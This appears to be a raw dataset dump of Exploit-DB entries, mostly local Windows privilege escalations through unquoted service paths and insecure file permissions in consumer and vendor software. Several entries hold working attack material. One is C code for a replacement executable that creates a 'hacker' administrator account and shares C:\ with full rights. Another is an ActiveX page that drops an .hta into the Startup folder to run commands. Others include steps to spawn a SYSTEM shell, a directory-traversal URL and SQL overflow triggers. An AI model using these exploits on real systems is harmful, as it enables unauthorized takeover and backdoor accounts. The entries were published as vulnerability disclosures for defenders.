deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39903
Description: League of Legends Screensaver - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2016-06-07
Author: Vincent Yiu

Exploit:
# Exploit Title: League of Legends Screensaver Insecure File Permissions
Privilege Escalation
# CVE-ID: NA
# Date: 13/04/2016
# Exploit Author: Vincent Yiu
# Contact: vysec.private@gmail.com
# Vendor Homepage: http://www.leagueoflegends.com
# Software Link: screensaver.euw.leagueoflegends.com/en_US
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
# Tested on: Windows 7 Professional x64 fully updated.

1. Description:

The League of Legends screensaver was installed with insecure file
permissions. It was found that all folder and file permissions were
incorrectly configured during installation. It was possible to replace the
service binary.

This was reported to Riot Games and has been rectified in the latest
version.

2. Proof

http://i.imgur.com/5fVijDK.png

3. Exploit:

Replace service.exe in 'C:\Riot Games\LolScreenSaver\service' to run
service.exe as SYSTEM.


This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
Exploit-DB #39902
Description: League of Legends Screensaver - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-06-07
Author: Vincent Yiu

Exploit:
# Exploit Title: League of Legends Screensaver Unquoted Service Paths
Conditional Privilege Escalation.
# CVE-ID: NA
# Date: 13/04/2016
# Exploit Author: Vincent Yiu
# Contact: vysec.private@gmail.com
# Vendor Homepage: http://www.leagueoflegends.com
# Software Link: screensaver.euw.leagueoflegends.com/en_US
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
# Tested on: Windows 7 Professional x64 fully updated.

1. Description:

The League of Legends installer would install the League of Legends
screensaver along with a service. The service would be called
'lolscreensaver'. This particular service was misconfigured such that
the service binary path was unquoted. When the screensaver is
installed to 'C:\Riot Games', the issue is not exploitable. However,
during the installation process, users are able to specify a directory
to install to. When a user chooses to install this to say an external
drive, this becomes exploitable.

This was reported to Riot Games and has been rectified in the latest version.

2. Proof
http://i.imgur.com/S2fuUKa.png


3. Exploit:

Simply run 'sc qc lolscreensaver' and check for unquoted service path.
If the path is unquoted, then check the permissions of each directory
using space as a token.

Eg. D:\My Games\Hidden Files\Super Secure\Riot Games\service\service.exe

Do icacls on D:\, 'D:\My Games\', 'D:\My Games\Hidden Files\', 'D:\My
Games\Hidden Files\Super Secure\'. If you are able to write files to
any of these directories, it is exploitable.

If 'D:\My Games\' is writable, to exploit this issue, place a binary
to run as SYSTEM into the folder and named as 'Hidden.exe".


This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
Exploit-DB #40483
Description: Leap Service - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-09
Author: Ross Marks

Exploit:
Leap service: 		https://www.leapmotion.com/
By Ross Marks:      http://www.rossmarks.co.uk
Exploit-db:         https://www.exploit-db.com/author/?a=8724
Category:           Local
Tested on:          Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Leap motion's "LeapService" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc LeapService
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: leapService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Leap Motion\Core Services\LeapSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Leap Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #40580
Description: Lenovo RapidBoot HDD Accelerator 1.00.0802 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Lenovo RapidBoot HDD Accelerator - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.00.0802
# Tested on: Windows 7 Professional
 
The Lenovo RapidBoot HDD Accelerator service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.00.0802, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc FastbootService                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: FastbootService                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lenovo\RapidBoot HDD Accelerator\FBService.exe                                                              
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : FastbootService                                    
        DEPENDENCIES       : RPCSS                                              
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Exploit-DB #40581
Description: Lenovo Slim USB Keyboard 1.09 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Lenovo Slim USB Keyboard - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.09
# Tested on: Windows 7 Professional

The Lenovo Slim USB Keyboard service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.09, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc Sks8821

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: Sks8821

        TYPE               : 20  WIN32_SHARE_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Lenovo Slim USB Keyboard\Sks8821.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Skdaemon Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Exploit-DB #40040
Description: Lenovo ThinkPad - System Management Mode Arbitrary Code Execution
Type: local
Platform: windows
Date: 2016-06-29
Author: Cr4sh

Exploit:
Source: https://github.com/Cr4sh/ThinkPwn

 Lenovo ThinkPad System Management Mode arbitrary code execution exploit

***************************************************************************

For more information about this project please read the following article:

http://blog.cr4.sh/2016/06/exploring-and-exploiting-lenovo.html


This code exploits 0day privileges escalation vulnerability (or backdoor?) in SystemSmmRuntimeRt UEFI driver (GUID is 7C79AC8C-5E6C-4E3D-BA6F-C260EE7C172E) of Lenovo firmware. Vulnerability is present in all of the ThinkPad series laptops, the oldest one that I have checked is X220 and the neweset one is T450s (with latest firmware versions available at this moment). Running of arbitrary System Management Mode code allows attacker to disable flash write protection and infect platform firmware, disable Secure Boot, bypass Virtual Secure Mode (Credential Guard, etc.) on Windows 10 Enterprise and do others evil things.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40040.zip
Exploit-DB #50045
Description: Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-21
Author: Julio Aviña

Exploit:
# Exploit Title: Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path
# Date: 2021-06-20
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.lexmark.com/
# Software Link: https://downloads.lexmark.com/downloads/drivers/Lexmark_Printer_Software_G2_Installation_Package_01292021.exe
# Version: 1.8.0.0
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%LM__bdsvc%"' get displayname, pathname, startmode, startname

DisplayName                   PathName                                     StartMode  StartName
Lexmark Communication System  C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "LM__bdsvc"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LM__bdsvc
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Lexmark Communication System
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
Exploit-DB #24885
Description: LiquidXML Studio 2010 - ActiveX Code Execution
Type: local
Platform: windows
Date: 2013-03-25
Author: Dr_IDE

Exploit:
<html>
<object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
target.OpenFile(sofa,1);
target.AppendString(king);
</script>
<body>
LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day<br>
By: Dr_IDE<br>
GUID: {E68E401C-7DB0-4F3A-88E1-159882468A79}<br>
Number of Interfaces: 1<br>
Default Interface: _FtpLibrary<br>
RegKey Safe for Script: False<br>
RegkeySafe for Init: False<br>
KillBitSet: False<br>
<br>
<br>
<br>
Been sitting on this one so long it could've hatched twice.
</body>
</html>
Exploit-DB #24884
Description: LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation
Type: local
Platform: windows
Date: 2013-03-25
Author: Dr_IDE

Exploit:
<html>
<object classid='clsid:8AEEAB4A-E1DA-4354-B800-8F0B553770E1' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
target.OpenFile(sofa,1);
target.AppendString(king);
</script>
<body>
LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0-day<br>
By: Dr_IDE<br>
GUID: {8AEEAB4A-E1DA-4354-B800-8F0B553770E1}<br>
Number of Interfaces: 1<br>
Default Interface: _FtpLibrary<br>
RegKey Safe for Script: False<br>
RegkeySafe for Init: False<br>
KillBitSet: False<br>
<br>
<br>
<br>
Nothing to see here, you can close the browser now...
</body>
</html>
Exploit-DB #47508
Description: LiteManager 4.5.0 - 'romservice' Unquoted Serive Path
Type: local
Platform: windows
Date: 2019-10-16
Author: cakes

Exploit:
# Exploit Title : LiteManager 4.5.0 - 'romservice' Unquoted Serive Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor: LiteManager Team
# Version : LiteManager 4.5.0
# Software: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support
# Tested on Windows 10
# CVE : N/A 
     
c:\>sc qc romservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: romservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\LiteManagerFree - Server\ROMServer.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : LiteManagerTeam LiteManager
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #47706
Description: LiteManager 4.5.0 - Insecure File Permissions
Type: local
Platform: windows
Date: 2019-11-22
Author: ZwX

Exploit:
# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-21
# Vendor Homepage : LiteManager Team
# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support
# Tested on OS: Windows 7 


# Proof of Concept (PoC):
==========================


C:\Program Files\LiteManagerFree - Server>icacls *.exe
ROMFUSClient.exe Everyone:(F)
                 AUTORITE NT\Système:(I)(F)
                 BUILTIN\Administrateurs:(I)(F)
                 BUILTIN\Utilisateurs:(I)(RX)
				 
				 
#Exploit code(s): 
=================

1) Compile below 'C' code name it as "ROMFUSClient.exe"

#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);
return 0;
} 

2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"
3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory
4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE. 
Privilege Successful Escalation
Exploit-DB #20585
Description: LocalWEB2000 1.1 - Directory Traversal
Type: local
Platform: windows
Date: 2001-01-22
Author: SNS Research

Exploit:
source: https://www.securityfocus.com/bid/2268/info

LocalWEB2000 is subject to a directory traversal. Requesting a specially crafted HTTP request with a known filename will enable an attacker to gain read access to the requested file. 

http://target/../../../autoexec.bat
Exploit-DB #49050
Description: Logitech Solar Keyboard Service - 'L4301_Solar' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-16
Author: Jair Amezcua

Exploit:
# Title: Logitech Solar Keyboard Service - 'L4301_Solar' Unquoted Service Path
# Author: Jair Amezcua
# Date: 2020-11-10
# Vendor Homepage: https://www.logitech.com/es-mx
# Software Link: https://support.logi.com/hc/en-us/articles/[PII_REDACTED]74--Downloads-Wireless-Solar-Keyboard-K750
# Version : 1.10.3.0
# Tested on: Windows 10 64bit(EN)
# CVE : N/A

# 1. Description:
# Unquoted service paths in Logitech Solar Keyboard Service  v1.10.3.0 have an unquoted service path.

# PoC
===========

C:\>sc qc L4301_Solar
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: L4301_Solar
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Logitech\SolarApp\L4301_Solar.exe
        LOAD_ORDER_GROUP   : PlugPlay
        TAG                : 0
        DISPLAY_NAME       : Logitech Solar Keyboard Service
        DEPENDENCIES       : PlugPlay
        SERVICE_START_NAME : LocalSystem


#Description Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #49586
Description: LogonExpert 8.1 - 'LogonExpertSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-02-24
Author: Victor Mondragón

Exploit:
# Exploit Title: LogonExpert 8.1 - 'LogonExpertSvc' Unquoted Service Path
# Discovery by: Victor Mondragón
# Discovery Date: 23-02-2021
# Vendor Homepage: https://www.softros.com/
# Software Links : https://download.logonexpert.com/LogonExpertSetup64.msi
# Tested Version: 8.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 Service Pack 1 x64
# Step to discover Unquoted Service Path: 
 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
LogonExpert Service             LogonExpertSvc          C:\Program Files\Softros Systems\LogonExpert\LogonExpertService.exe             Auto


C:\>sc qc LogonExpertSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LogonExpertSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Softros Systems\LogonExpert\LogonExpertService.exe
        LOAD_ORDER_GROUP   : LogonExpertGroup
        TAG                : 0
        DISPLAY_NAME       : LogonExpert Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #42605
Description: Lotus Notes Diagnostic Tool 8.5/9.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2017-09-02
Author: ParagonSec

Exploit:
# Exploit Title: Lotus Notes Diagnostic Tool (nsd.exe) Privelege Escalation
# Date: 02-09-2017
# Exploit Author: ParagonSec
# Website: https://github.com/paragonsec
# Version: 8.5 & 9.0
# Tested on: Windows 7 Enterprise
# CVE: CVE-2015-0179
# Vendor CVE URL: http://www-01.ibm.com/support/docview.wss?uid=swg21700029
# Category: Local & Privilege Escalation Exploit


1. Description

Lotus Notes Diagnostic Tool (nsd.exe) runs under NT Authority/System rights. 
This can be leveraged to run a program under the System context and elevate 
local privileges.


2. Proof of Concept

First you need to execute nsd.exe under the monitor/CLI mode:

> nsd.exe -monitor

Next, after NSD finishes loading you can execute any program under the System context. In this example we will execute CMD.

nsd> LOAD CMD

You will see that cmd is opened as System now.

Also, NSD can be used to attach, kill processes or create memory dumps under the System context.


3. Solution:

This has been fixed on release 9.0.1 FP3 and 8.5.3 FP6.
Exploit-DB #21551
Description: Lumigent Log Explorer 3.0.1 - XP_LogAttach_SetPort Buffer Overflow
Type: local
Platform: windows
Date: 2002-06-14
Author: Martin Rakhmanoff

Exploit:
source: https://www.securityfocus.com/bid/5017/info

A buffer overflow vulnerability in xp_logattach.dll has been reported for Lumigent Log Explorer. Specifically, this affects the xp_logattach_setport stored procedure.

If this condition is successfully exploited, it is possible for locations in memory to be overwritten with attacker-supplied instructions, allowing for code execution as the SQL server process. By default, SQL Server runs as a non-privileged user.

It should be noted that extended stored procedures can be run only by the dbo user by default. 

declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_setport @bo
Exploit-DB #21550
Description: Lumigent Log Explorer XP - _LogAttach_StartProf Buffer Overflow
Type: local
Platform: windows
Date: 2002-06-14
Author: Martin Rakhmanoff

Exploit:
source: https://www.securityfocus.com/bid/5016/info

A buffer overflow vulnerability in xp_logattach.dll has been reported for Lumigent Log Explorer. Specifically, this affects the xp_logattach_StartProf stored procedure.

If this condition is successfully exploited, it is possible for locations in memory to be overwritten with attacker-supplied instructions, allowing for code execution as the SQL server process. By default, SQL Server runs as a non-privileged user.

It should be noted that extended stored procedures can be run only by the dbo user by default.

declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_StartProf @bo